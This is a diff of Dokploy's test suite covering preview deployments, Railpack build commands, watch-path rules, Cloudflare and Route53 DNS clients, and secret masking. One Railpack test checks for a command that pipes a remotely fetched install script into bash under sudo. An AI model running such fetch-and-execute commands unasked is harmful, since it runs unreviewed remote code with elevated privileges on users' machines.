await handler(createPullRequestRequest("synchronize"), res);
|
||||
|
||||
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
applicationType: "application-preview",
|
||||
previewDeploymentId: "existing-preview-0",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
});
|
||||
|
||||
it("does not create a new preview once the limit is reached", async () => {
|
||||
mocks.applicationsFindMany.mockResolvedValue([
|
||||
createApplication({
|
||||
previewLimit: 2,
|
||||
previewDeployments: createPreviewDeployments(2),
|
||||
}),
|
||||
]);
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPullRequestRequest("opened"), res);
|
||||
|
||||
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
|
||||
expect(mocks.queueAdd).not.toHaveBeenCalled();
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
});
|
||||
|
||||
it("falls back to the default limit when none is configured", async () => {
|
||||
mocks.applicationsFindMany.mockResolvedValue([
|
||||
createApplication({
|
||||
previewLimit: null,
|
||||
previewDeployments: createPreviewDeployments(2),
|
||||
}),
|
||||
]);
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPullRequestRequest("opened"), res);
|
||||
|
||||
expect(mocks.createPreviewDeployment).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
branch: "feature",
|
||||
pullRequestId: 987,
|
||||
pullRequestNumber: 42,
|
||||
}),
|
||||
);
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
applicationType: "application-preview",
|
||||
previewDeploymentId: "new-preview-id",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
});
|
||||
});
|
||||
113
apps/dokploy/__test__/deploy/railpack.command.test.ts
Normal file
113
apps/dokploy/__test__/deploy/railpack.command.test.ts
Normal file
@ -0,0 +1,113 @@
|
||||
import type { ApplicationNested } from "@dokploy/server/utils/builders";
|
||||
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const createApplication = (
|
||||
overrides: Partial<ApplicationNested> = {},
|
||||
): ApplicationNested =>
|
||||
({
|
||||
appName: "test-app",
|
||||
buildType: "railpack",
|
||||
sourceType: "git",
|
||||
buildPath: "/",
|
||||
railpackVersion: "0.15.4",
|
||||
env: "TEST_VAR=one",
|
||||
cleanCache: false,
|
||||
environment: {
|
||||
project: {
|
||||
env: "",
|
||||
},
|
||||
env: "",
|
||||
},
|
||||
...overrides,
|
||||
}) as unknown as ApplicationNested;
|
||||
|
||||
const getSecretsHash = (command: string) => {
|
||||
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
|
||||
if (!match?.[1]) {
|
||||
throw new Error("secrets-hash build arg was not found");
|
||||
}
|
||||
|
||||
return match[1];
|
||||
};
|
||||
|
||||
describe("getRailpackCommand", () => {
|
||||
it("includes secrets-hash without clean cache", () => {
|
||||
const command = getRailpackCommand(createApplication());
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).not.toContain("cache-key=");
|
||||
});
|
||||
|
||||
it("includes cache-key only when clean cache is enabled", () => {
|
||||
const command = getRailpackCommand(
|
||||
createApplication({
|
||||
cleanCache: true,
|
||||
}),
|
||||
);
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).toContain("--build-arg cache-key=");
|
||||
});
|
||||
|
||||
it("installs Railpack through sudo for non-root users", () => {
|
||||
const command = getRailpackCommand(createApplication());
|
||||
|
||||
expect(command).toContain(
|
||||
'$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"',
|
||||
);
|
||||
expect(command).toContain("sudo -n true 2>/dev/null");
|
||||
});
|
||||
|
||||
it("changes secrets-hash when an environment value changes", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=one",
|
||||
}),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=two",
|
||||
}),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
|
||||
it("changes secrets-hash when referenced project or environment values change", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=one",
|
||||
},
|
||||
env: "SHARED_VALUE=alpha",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=two",
|
||||
},
|
||||
env: "SHARED_VALUE=beta",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
});
|
||||
65
apps/dokploy/__test__/deploy/should-deploy.test.ts
Normal file
65
apps/dokploy/__test__/deploy/should-deploy.test.ts
Normal file
@ -0,0 +1,65 @@
|
||||
import { shouldDeploy } from "@dokploy/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("shouldDeploy", () => {
|
||||
it("should deploy when no watch paths are configured", () => {
|
||||
expect(shouldDeploy(null, ["src/index.ts"])).toBe(true);
|
||||
expect(shouldDeploy([], ["src/index.ts"])).toBe(true);
|
||||
});
|
||||
|
||||
it("should deploy when watch paths match modified files", () => {
|
||||
expect(shouldDeploy(["src/**"], ["src/index.ts"])).toBe(true);
|
||||
expect(shouldDeploy(["apps/web/**"], ["apps/web/page.tsx"])).toBe(true);
|
||||
});
|
||||
|
||||
it("should not deploy when watch paths do not match", () => {
|
||||
expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false);
|
||||
});
|
||||
|
||||
it("should apply multiple negated watch paths as one pattern set", () => {
|
||||
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
|
||||
|
||||
expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false);
|
||||
expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false);
|
||||
expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("should deploy when a changed file remains after exclusions", () => {
|
||||
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
|
||||
|
||||
expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true);
|
||||
});
|
||||
|
||||
it("should combine positive and negated watch paths", () => {
|
||||
const watchPaths = ["src/**", "!src/**/*.test.ts"];
|
||||
|
||||
expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true);
|
||||
expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false);
|
||||
expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false);
|
||||
});
|
||||
|
||||
it("should not throw when modified files contain non-string values", () => {
|
||||
expect(() =>
|
||||
shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
|
||||
).not.toThrow();
|
||||
expect(
|
||||
shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("should not throw when modified files are undefined or null", () => {
|
||||
expect(() => shouldDeploy(["src/**"], undefined)).not.toThrow();
|
||||
expect(() => shouldDeploy(["src/**"], null)).not.toThrow();
|
||||
expect(shouldDeploy(["src/**"], undefined)).toBe(false);
|
||||
expect(shouldDeploy(["src/**"], null)).toBe(false);
|
||||
});
|
||||
|
||||
it("should not throw when every modified file is non-string", () => {
|
||||
expect(() =>
|
||||
shouldDeploy(["src/**"], [undefined, undefined] as any),
|
||||
).not.toThrow();
|
||||
expect(shouldDeploy(["src/**"], [undefined, undefined] as any)).toBe(false);
|
||||
});
|
||||
});
|
||||
214
apps/dokploy/__test__/dns/cloudflare.test.ts
Normal file
214
apps/dokploy/__test__/dns/cloudflare.test.ts
Normal file
@ -0,0 +1,214 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
const cfSuccess = (result: unknown) =>
|
||||
jsonResponse({ success: true, errors: [], result });
|
||||
|
||||
const cfError = (message: string, status = 400) =>
|
||||
jsonResponse(
|
||||
{ success: false, errors: [{ code: 1, message }] },
|
||||
false,
|
||||
status,
|
||||
);
|
||||
|
||||
const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
|
||||
|
||||
beforeEach(() => {
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
describe("cloudflareClient.listZones", () => {
|
||||
it("returns a single page of zones", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
|
||||
|
||||
const zones = await cloudflareClient.listZones(config);
|
||||
|
||||
expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
const [url] = mockFetch.mock.calls[0] as [string];
|
||||
expect(url).toContain("/zones?per_page=50&page=1");
|
||||
});
|
||||
|
||||
it("paginates until a short page is returned", async () => {
|
||||
const page = (count: number) =>
|
||||
cfSuccess(
|
||||
Array.from({ length: count }, (_, i) => ({
|
||||
id: `z${i}`,
|
||||
name: `zone${i}.com`,
|
||||
})),
|
||||
);
|
||||
mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
|
||||
|
||||
const zones = await cloudflareClient.listZones(config);
|
||||
|
||||
expect(zones).toHaveLength(53);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||
expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.listRecords", () => {
|
||||
it("lists records for a zone", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
cfSuccess([
|
||||
{
|
||||
id: "r1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 1,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
const records = await cloudflareClient.listRecords(config, "zone-1");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "r1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 1,
|
||||
},
|
||||
]);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.upsertRecord", () => {
|
||||
it("creates a record when none exists for the name/type", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
|
||||
|
||||
const result = await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "new-1" });
|
||||
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(createInit.method).toBe("POST");
|
||||
});
|
||||
|
||||
it("updates the existing record instead of creating a duplicate", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
|
||||
|
||||
const result = await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "5.6.7.8",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "existing-1" });
|
||||
const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
|
||||
string,
|
||||
RequestInit,
|
||||
];
|
||||
expect(updateUrl).toContain("/dns_records/existing-1");
|
||||
expect(updateInit.method).toBe("PUT");
|
||||
});
|
||||
|
||||
it("defaults ttl to 1 (automatic) when not provided", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "CNAME",
|
||||
name: "www.example.com",
|
||||
content: "example.com",
|
||||
});
|
||||
|
||||
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
const body = JSON.parse(createInit.body as string);
|
||||
expect(body.ttl).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.updateRecord", () => {
|
||||
it("PUTs directly to the given record id", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
|
||||
|
||||
const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
ttl: 300,
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "r1" });
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toContain("/zones/zone-1/dns_records/r1");
|
||||
expect(init.method).toBe("PUT");
|
||||
expect(JSON.parse(init.body as string)).toEqual({
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
ttl: 300,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.deleteRecord", () => {
|
||||
it("DELETEs the given record id", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess({}));
|
||||
|
||||
await cloudflareClient.deleteRecord(config, "zone-1", "r1");
|
||||
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toContain("/zones/zone-1/dns_records/r1");
|
||||
expect(init.method).toBe("DELETE");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.testConnection", () => {
|
||||
it("succeeds when the token can list zones", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([]));
|
||||
await expect(
|
||||
cloudflareClient.testConnection(config),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("surfaces Cloudflare's error message on an invalid token", async () => {
|
||||
mockFetch.mockResolvedValue(cfError("Invalid API Token"));
|
||||
|
||||
await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
|
||||
"Invalid API Token",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient auth header", () => {
|
||||
it("trims whitespace pasted into the token", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([]));
|
||||
|
||||
await cloudflareClient.testConnection({
|
||||
providerType: "cloudflare",
|
||||
apiToken: " cf-token\n",
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect((init.headers as Record<string, string>).Authorization).toBe(
|
||||
"Bearer cf-token",
|
||||
);
|
||||
});
|
||||
});
|
||||
116
apps/dokploy/__test__/dns/dns-provider-service.test.ts
Normal file
116
apps/dokploy/__test__/dns/dns-provider-service.test.ts
Normal file
@ -0,0 +1,116 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
|
||||
insert: vi.fn(),
|
||||
update: vi.fn(),
|
||||
delete: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
import {
|
||||
DNS_SECRET_MASK,
|
||||
maskDnsProviderConfig,
|
||||
mergeDnsProviderConfig,
|
||||
} from "@dokploy/server/services/dns-provider";
|
||||
|
||||
describe("maskDnsProviderConfig", () => {
|
||||
it("masks the apiToken for a cloudflare config", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "cloudflare",
|
||||
apiToken: "real-token",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({
|
||||
providerType: "cloudflare",
|
||||
apiToken: DNS_SECRET_MASK,
|
||||
});
|
||||
});
|
||||
|
||||
it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_VISIBLE",
|
||||
secretAccessKey: "shh",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_VISIBLE",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
});
|
||||
});
|
||||
|
||||
it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "cloudflare",
|
||||
apiToken: "",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("mergeDnsProviderConfig", () => {
|
||||
it("restores the real secret when the incoming config still has the mask placeholder", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "real-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
|
||||
});
|
||||
|
||||
it("keeps a freshly entered secret instead of the stored one", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "old-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "new-token",
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
|
||||
});
|
||||
|
||||
it("throws when switching provider type while the field is still masked", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "real-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
|
||||
"Credentials must be re-entered",
|
||||
);
|
||||
});
|
||||
|
||||
it("does not require re-entry for fields that are not sensitive", () => {
|
||||
const existing = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_OLD",
|
||||
secretAccessKey: "old-secret",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_NEW",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_NEW",
|
||||
secretAccessKey: "old-secret",
|
||||
});
|
||||
});
|
||||
});
|
||||
288
apps/dokploy/__test__/dns/route53.test.ts
Normal file
288
apps/dokploy/__test__/dns/route53.test.ts
Normal file
@ -0,0 +1,288 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
type HasInput = { input: any };
|
||||
|
||||
const {
|
||||
send,
|
||||
Route53Client,
|
||||
ListHostedZonesCommand,
|
||||
ListResourceRecordSetsCommand,
|
||||
ChangeResourceRecordSetsCommand,
|
||||
} = vi.hoisted(() => {
|
||||
class FakeCommand {
|
||||
input: any;
|
||||
constructor(input: any) {
|
||||
this.input = input;
|
||||
}
|
||||
}
|
||||
const send = vi.fn();
|
||||
class Route53Client {
|
||||
send(command: unknown) {
|
||||
return send(command);
|
||||
}
|
||||
}
|
||||
return {
|
||||
send,
|
||||
Route53Client,
|
||||
ListHostedZonesCommand: class extends FakeCommand {},
|
||||
ListResourceRecordSetsCommand: class extends FakeCommand {},
|
||||
ChangeResourceRecordSetsCommand: class extends FakeCommand {},
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@aws-sdk/client-route-53", () => ({
|
||||
Route53Client,
|
||||
ListHostedZonesCommand,
|
||||
ListResourceRecordSetsCommand,
|
||||
ChangeResourceRecordSetsCommand,
|
||||
}));
|
||||
|
||||
import { route53Client } from "@dokploy/server/utils/dns/route53";
|
||||
|
||||
const config = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_TEST",
|
||||
secretAccessKey: "secret",
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
send.mockReset();
|
||||
});
|
||||
|
||||
describe("route53Client.listZones", () => {
|
||||
it("strips the hostedzone prefix and the trailing dot", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const zones = await route53Client.listZones(config);
|
||||
|
||||
expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
|
||||
});
|
||||
|
||||
it("follows the marker until IsTruncated is false", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
|
||||
IsTruncated: true,
|
||||
NextMarker: "marker-1",
|
||||
})
|
||||
.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const zones = await route53Client.listZones(config);
|
||||
|
||||
expect(zones).toEqual([
|
||||
{ id: "Z1", name: "a.com" },
|
||||
{ id: "Z2", name: "b.com" },
|
||||
]);
|
||||
expect(send).toHaveBeenCalledTimes(2);
|
||||
expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.listRecords", () => {
|
||||
it("builds a type:name id and strips the trailing dot from the name", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
},
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "A:app.example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 300,
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records).toEqual([]);
|
||||
});
|
||||
|
||||
it("joins multiple values for the same record", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{
|
||||
Name: "example.com.",
|
||||
Type: "NS",
|
||||
TTL: 172800,
|
||||
ResourceRecords: [
|
||||
{ Value: "ns1.example.com" },
|
||||
{ Value: "ns2.example.com" },
|
||||
],
|
||||
},
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records[0]?.content).toBe("ns1.example.com, ns2.example.com");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.upsertRecord", () => {
|
||||
it("sends a single UPSERT change", async () => {
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
const result = await route53Client.upsertRecord(config, {
|
||||
zoneId: "Z123",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "A:app.example.com" });
|
||||
const command = send.mock.calls[0]?.[0] as HasInput;
|
||||
expect(command.input.HostedZoneId).toBe("Z123");
|
||||
expect(command.input.ChangeBatch.Changes).toEqual([
|
||||
{
|
||||
Action: "UPSERT",
|
||||
ResourceRecordSet: {
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.updateRecord", () => {
|
||||
it("only UPSERTs when the name/type identity did not change", async () => {
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
});
|
||||
|
||||
expect(send).toHaveBeenCalledTimes(1);
|
||||
const command = send.mock.calls[0]?.[0] as HasInput;
|
||||
expect(command.input.ChangeBatch.Changes).toHaveLength(1);
|
||||
expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
|
||||
});
|
||||
|
||||
it("deletes the old record set and creates the new one on rename", async () => {
|
||||
const existingSet = {
|
||||
Name: "old.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||
};
|
||||
send
|
||||
.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
|
||||
.mockResolvedValueOnce({}); // ChangeResourceRecordSets
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
|
||||
type: "A",
|
||||
name: "new.example.com",
|
||||
content: "1.1.1.1",
|
||||
});
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
|
||||
{ Action: "DELETE", ResourceRecordSet: existingSet },
|
||||
{
|
||||
Action: "UPSERT",
|
||||
ResourceRecordSet: {
|
||||
Name: "new.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips the DELETE when the old record no longer exists", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({ ResourceRecordSets: [] })
|
||||
.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
|
||||
type: "A",
|
||||
name: "new.example.com",
|
||||
content: "1.1.1.1",
|
||||
});
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
|
||||
expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.deleteRecord", () => {
|
||||
it("deletes the record set found by name/type", async () => {
|
||||
const existingSet = {
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
};
|
||||
send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
|
||||
{ Action: "DELETE", ResourceRecordSet: existingSet },
|
||||
]);
|
||||
});
|
||||
|
||||
it("throws when the record no longer exists", async () => {
|
||||
send.mockResolvedValueOnce({ ResourceRecordSets: [] });
|
||||
|
||||
await expect(
|
||||
route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
|
||||
).rejects.toThrow("not found");
|
||||
});
|
||||
|
||||
it("throws for a malformed record id", async () => {
|
||||
await expect(
|
||||
route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
|
||||
).rejects.toThrow("Invalid Route53 record id");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.testConnection", () => {
|
||||
it("resolves when ListHostedZones succeeds", async () => {
|
||||
send.mockResolvedValueOnce({ HostedZones: [] });
|
||||
await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("propagates SDK errors", async () => {
|
||||
send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
|
||||
await expect(route53Client.testConnection(config)).rejects.toThrow(
|
||||
"InvalidClientTokenId",
|
||||
);
|
||||
});
|
||||
});
|
||||
@ -32,6 +32,8 @@ const baseApp: ApplicationNested = {
|
||||
railpackVersion: "0.15.4",
|
||||
applicationId: "",
|
||||
previewLabels: [],
|
||||
networkIds: [],
|
||||
